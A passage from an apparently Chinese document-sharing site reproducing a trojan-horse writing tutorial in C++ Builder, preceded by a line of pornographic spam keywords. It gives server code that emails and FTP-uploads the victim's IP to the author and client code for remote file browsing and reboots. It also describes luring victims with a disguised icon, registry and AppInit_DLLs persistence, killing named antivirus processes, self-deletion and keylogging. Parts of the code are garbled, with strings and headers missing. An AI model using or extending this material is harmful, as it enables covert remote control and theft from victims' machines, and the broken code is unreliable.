freepeople性欧美熟妇, 色戒完整版无删减158分钟hd, 无码精品国产vα在线观看DVD, 丰满少妇伦精品无码专区在线观看,艾栗栗与纹身男宾馆3p50分钟,国产AV片在线观看,黑人与美女高潮,18岁女RAPPERDISSSUBS,国产手机在机看影片

正文內(nèi)容

木馬編寫教程學(xué)習(xí)木馬編寫的好資料(編輯修改稿)

2024-07-21 03:45 本頁面
 

【文章內(nèi)容簡介】 開?。ㄎ赐甏m(xù))上次已編寫完服務(wù)器端的各種功能,但還差容錯部分還未完成,下面我們Go on! 其代碼如下(照敲不誤 ^_^):{END:。 Socket〉Close()?!?/關(guān)閉服務(wù) ServerSocket1〉A(chǔ)ctive =true。 //再次打開服務(wù) if (NMSMTP1〉Connected) NMSMTP1〉Disconnect()?!?/如果SMTP服務(wù)器已連接則斷開 NMSMTP1〉Host = 。 //選一個好用的SMTP服務(wù)器,如1626sina和btamail NMSMTP1〉UserID = 。 //你SMTP的ID try {  NMSMTP1〉Connect()?! ?/再次連接 } catch(...) {  goto NextTime?! ?/跳到NextTime } NMSMTP1〉PostMessage〉FromAddress =I don\39。t know!?!?/受害者的Email地址 NMSMTP1〉PostMessage〉FromName = Casualty?!?/受害者的名字 NMSMTP1〉PostMessage〉ToAddress〉Text = crossbow@?!?/將信發(fā)到我的郵箱,這一步很關(guān)鍵 NMSMTP1〉PostMessage〉Body〉Text = AnsiString(Server Running on:) + NMSMTP1〉LocalIP ?!?/信的內(nèi)容提示你“服務(wù)器正在運(yùn)行”,并且告訴你受害者的目前的IP地址,以便連接 NMSMTP1〉PostMessage〉Subject = Server Running Now!?!?/信的主題 NMSMTP1〉SendMail()?!?/發(fā)送! return?!?/返回NextTime: NMFTP1〉Host = 。 //你的FTP服務(wù)器的地址 NMFTP1〉UserID = ?!?/你的用戶ID NMFTP1〉Port = 21?!?/FTP端口號,一般為21 NMFTP1〉Password = ?!?/你的FTP的密碼 if(NMFTP1〉Connected) NMFTP1〉Disconnect()?!?/如果已連接就斷開 try  {   NMFTP1〉Connect()?!  ?/再連接  } catch(...)  {    return?!  ?//返回  } AnsiString SendToSite = Server Running on: + NMFTP1〉RemoteIP。 //受害者的IP地址 FILE * Upload。 Upload = fopen(NMFTP1〉(),w+)?!?/創(chuàng)建一個新文件準(zhǔn)備寫,如果已存在就覆蓋 fwrite((),sizeof(char),(),Upload)。 //寫入以上的SendToSite的內(nèi)容 fclose(Upload)?!?/寫完后關(guān)閉此文件 NMFTP1〉RemoveDir(public_html)。 //刪除public_html目錄 NMFTP1〉Upload(NMFTP1〉RemoteIP, NMFTP1〉RemoteIP)。 //上傳!啊,超長的OnClientRead事件終于寫完了。最后別忘了要在此服務(wù)器源碼文件中添加以下頭文件:include 〈〉include 〈〉include 〈〉include 〈〉include 〈sys\\〉include 〈〉include 〈〉include 〈〉include 〈〉include 〈〉  至此,服務(wù)器端(Server)程序已全部完工!(終于可以好好歇歇了?。﹦e慌!以上代碼只是完成了整個木馬程序的一半。(“撲通”,有人暈倒了!)下面我們就將乘勝追擊——搞定客戶端程序(Client)!  客戶端程序其實是很簡單的。另新建一個Form,添加一個ClientSocket(和ServerSocket在相同的頁下),再添加四個Editbox,命名為Edit1,Edit2,Edit3和Edit4,最后添加一個Button,Caption為“發(fā)送”。Edit1是輸入命令用的,Edit2是準(zhǔn)備輸入目標(biāo)機(jī)的IP地址用的,Edit3是輸入連接端口號用的,Edit4是用來輸入欲添加的語句或顯示命令執(zhí)行的結(jié)果的。(頭是不是有點(diǎn)大了?!)  雙擊Button1,在Button1Click事件中添加如下代碼:{  if((Edit2〉Text==)||(Edit3〉Text==))return?! ?/如果輸入IP地址框或輸入端口號框有一個為空,就什么也不作  ClientSocket1〉A(chǔ)ddress=Edit2〉Text。  //目標(biāo)IP地址  ClientSocket1〉Port=atoi(Edit2〉())?! ?/目標(biāo)端口號,本例中的44444  ClientSocket1〉Open()?! ?/連接!}選中CilentSocket1控件,雙擊OnConnectt事件,在ClientSocket1Connect下添加如下代碼:{ if((Edit1〉Text==edit conf 1)||(Edit1〉Text==edit conf 2)) //  Socket〉SendText(Edit1〉Text+Edit4〉Text)。  //發(fā)送命令和欲添加的語句 else  Socket〉SendText(Edit1〉Text)?! ?/否則只發(fā)送命令}  雙擊OnRead事件,在ClientSocket1Read下添加如下代碼:{ AnsiString ReadIn = Socket〉ReceiveText()?!?/讀入收到的返回信息 Edit4〉Text=?!?/清空編輯框 FILE *fp?!p = fopen(,w)?!?/ fwrite((),1,10000,fp)?!?/寫入信息 fclose(fp)?!?/關(guān)閉之 Edit4〉Lines〉LoadFromFile()?!?/在編輯框中顯示返回的信息}  為了敲完命令后直接回車就可以發(fā)送,我們可以使Button1的代碼共享。雙擊Edit1的OnKeyPress命令,輸入:{ if(Key==VK_RETURN)Button1Click(Sender)?!?/如果敲的是回車鍵,就和點(diǎn)擊Button1一樣的效果}  最后再添加以下頭文件:include include include include 終于寫完了!?。。ㄈ绻銓喡慕缑娌粷M意,可以自己用BCB中豐富的控件好好完善完善嘛?。┌聪翪trl+F9進(jìn)行編譯鏈接吧!對于Server,你可以選一個足以迷惑人的圖標(biāo)(我選的是一個目錄模樣的圖標(biāo))進(jìn)行編譯,這樣不但受害者容易中招,而且便于隱藏自己?! 〗酉聛砭桶裇erver程序寄給受害者,誘騙他(她)執(zhí)行,在你得到他(她)的IP后(這不用我教吧?),就啟動Client程序,敲入“edit conf 1”,敲入“edit conf 2”,敲入“dir xxx”(xxx是目錄名)就可以看到目錄和文件,敲“type xxx”就可以察看任何文件,輸入“open”,彈出目標(biāo)機(jī)的光驅(qū)托盤,“close”就收入托盤,輸入“swap”就可以交換受害者的鼠標(biāo)左右鍵,輸入“reboot”就啟動目標(biāo)機(jī)……不用我多說了吧?  以上只是一個簡單的例子,真正寫起木馬來要解決的技術(shù)問題比這多得多,這得需要扎實的編程功底和豐富的經(jīng)驗。如下的問題就值得仔細(xì)考慮:  首先是程序的大小問題,本程序經(jīng)編譯鏈接后得到的可執(zhí)行文件竟有400多K??梢钥闯霾槐匾腇orm是應(yīng)該去掉的;并且盡量由自己調(diào)用底層的API函數(shù),而盡量少使用Borland打好包的VCL控件;要盡量使用匯編語言(BCB支持C++和匯編混編),不但速度會加快,而且大小可以小很多,畢竟木馬是越小越好。  還有啟動方式的選擇。、也還是那幾個注冊表鍵值,如:HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunHKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesHKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run都已被其他的木馬用爛了?,F(xiàn)在又開始對exe、dll和txt文件的關(guān)聯(lián)程序動手腳了(如冰河和廣外女生)。這里涉及到參數(shù)傳遞的問題。得到ParamStr()函數(shù)傳來的參數(shù),啟動自己后再啟動與之關(guān)聯(lián)的程序,并將參數(shù)傳遞給它,這樣就完成了一次“雙啟動”,而受害者絲毫感覺不到有任何異常。具體鍵值如:  與exe文件建立關(guān)聯(lián):HKEY_CLASSES_ROOT\\exefile\\shell\\open\\mand  與txt文件建立關(guān)聯(lián):HKEY_CLASSES_ROOT\\txtfile\\shell\\open\\mand  與dll文件建立關(guān)聯(lián):HKEY_CLASSES_ROOT\\dllfile\\shell\\open\\mand等,當(dāng)然還可以自己擴(kuò)充。目前還有一種新方法:在HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Windows下添加如下鍵值 AppInit_DLLs=,(你應(yīng)該把木馬編譯成DLL)。下次開機(jī)時,木馬以動態(tài)鏈接庫形式被加載,存在于系統(tǒng)進(jìn)程中。因為沒有它自己的PID(Process ID 進(jìn)程識別號),所以在NT的任務(wù)管理器中也看不見(不過在“系統(tǒng)信息”——“軟件環(huán)境”——“已加載的32位模塊”中還是可以詳細(xì)看到當(dāng)前內(nèi)存中加載的每一個模塊的),這樣做的目的是可以使自己的程序更加隱蔽,提高木馬的生存能力。木馬的功能還可以大大擴(kuò)充。你可以充分發(fā)揮你的想象力——比如上傳、下載、新建、改名、移動文件,截圖存為jpg文件傳回,錄音監(jiān)聽成Wav文件,錄像成AVI文件,彈光驅(qū),讀軟驅(qū),關(guān)機(jī),重啟,不停地掛起,胡亂切換分辨率(燒掉你的顯示器),發(fā)對話框,不停地打開資源管理器直到死機(jī),交換鼠標(biāo)左右鍵,固定鼠標(biāo),限制鼠標(biāo)活動范圍,鼠標(biāo)不聽指揮到處亂竄,記錄擊鍵記錄(記錄上網(wǎng)口令,這需要深入了解鉤子(Hook)技術(shù),如鍵盤鉤子和鼠標(biāo)鉤子),竊取重要的密碼文件如pwl和sam文件,格式化磁盤,亂寫磁盤扇區(qū)(像病毒大爆發(fā)),破壞零磁道,亂寫B(tài)IOS(像CIH),胡亂設(shè)置CMOS,加密MBR、HDPT和FAT(像江民炸彈)……真是琳瑯滿目、心狠手辣呀!而且實現(xiàn)起來并不是很復(fù)雜,只不過后面幾項需要比較扎實的匯編功底而已(有幾項要用到Vxd技術(shù))。唉!路漫漫其修遠(yuǎn)兮,吾將上下而求索……  如果你想更安全地執(zhí)行你的入侵活動,就應(yīng)該像廣外女生一樣可以殺掉防火墻和殺毒軟件的進(jìn)程。防火墻和殺毒軟件監(jiān)視的是特征碼,如果你是新木馬,它就不吱一聲;但是如果你打開不尋常的端口,它就會跳出來報警。因此最好的辦法是啟動后立即分析當(dāng)前進(jìn)程,查找有沒有常見防火墻和殺毒軟件的進(jìn)程,如果有就殺無赦。比如常見的如:Lockdown,天網(wǎng)防火墻,網(wǎng)絡(luò)衛(wèi)兵,kv3000,瑞星,金山毒霸,PcCillin,Panda,Mcafee,Norton和CheckPoint。殺掉后,再在特定的內(nèi)存地址中作一個標(biāo)記,使它們誤以為自己已啟動,因此不會再次啟動自己了?!   ♂槍碜苑磪R編工具的威脅。如果有人試圖將你的木馬程序反匯編,他成功后,你的一切秘密就暴露在他的面前了,因此,我們要想辦法保護(hù)自己的作品。首先想到的是條件跳轉(zhuǎn),條件跳轉(zhuǎn)對于反向工程來說并不有趣。沒有循環(huán),只是跳轉(zhuǎn),作為使偷竊者令人頭痛的路障。這樣,就沒有簡單的反向操作可以執(zhí)行了。陷阱,另一個我不太肯定,但聽說有程序使用的方法:用CRC校驗?zāi)愕腅XE文件,如果它被改變了,不要顯示典型錯誤信息,而給予偷竊者致命的一擊?! ∽詈笕绻阈枰瓿扇蝿?wù)后可以自己刪除自己,我提示你:退出前建立一個批處理文件,加入循環(huán)刪除本exe文件和本批處理文件自己的命令后保存,執(zhí)行它,再放心地退出。你可以試一下,所有文件都消失了吧?!這叫“踏雪無痕”。  入侵安裝了防火墻的機(jī)器最好使用自己編寫的木馬,這樣不光防火墻不會報警,而且你自己心里也坦然一些——畢竟是自己的作品嗎!如果你是系統(tǒng)管理員,那就請你不要偷懶,不僅要經(jīng)常掃描1024以下的端口,而且包括1024以上的高端端口也要仔細(xì)掃描,65535個端口一個也不能漏。因為許多木馬打開的就是高端端口(如本例中的4444)。  寫在最后:上面例子的用意并不是教你去如何攻擊他人,目的只是讓你了解木馬的工作原理和簡單的編寫步驟,以便更好地防范和殺除木馬,維護(hù)我們自己應(yīng)有的網(wǎng)絡(luò)安全。因此,請列位看官好自為之,不要亂下殺手??!當(dāng)進(jìn)程為真隱藏的時候,那么這個木馬的服務(wù)器部分程序運(yùn)行之后,就不應(yīng)該具備一般進(jìn)程,也不應(yīng)該具備服務(wù)的,也就是說,完全的溶進(jìn)了系統(tǒng)的內(nèi)核。也許你會覺得奇怪,剛剛不是說一個應(yīng)用程序運(yùn)行之后,一定會產(chǎn)生一個進(jìn)程嗎?的確,所以我們可以不把他做成一個應(yīng)用程序,而把他做為一個線程,一個其他應(yīng)用程序的線程,把自身注入其他應(yīng)用程序的地址空間。而這個應(yīng)用程序?qū)τ谙到y(tǒng)來說,是一個絕對安全的程序,這樣,就達(dá)到了徹底隱藏的效果,這樣的結(jié)果,導(dǎo)致了查殺黑客程序難度的增加?!?
點(diǎn)擊復(fù)制文檔內(nèi)容
醫(yī)療健康相關(guān)推薦
文庫吧 www.dybbs8.com
備案圖片鄂ICP備17016276號-1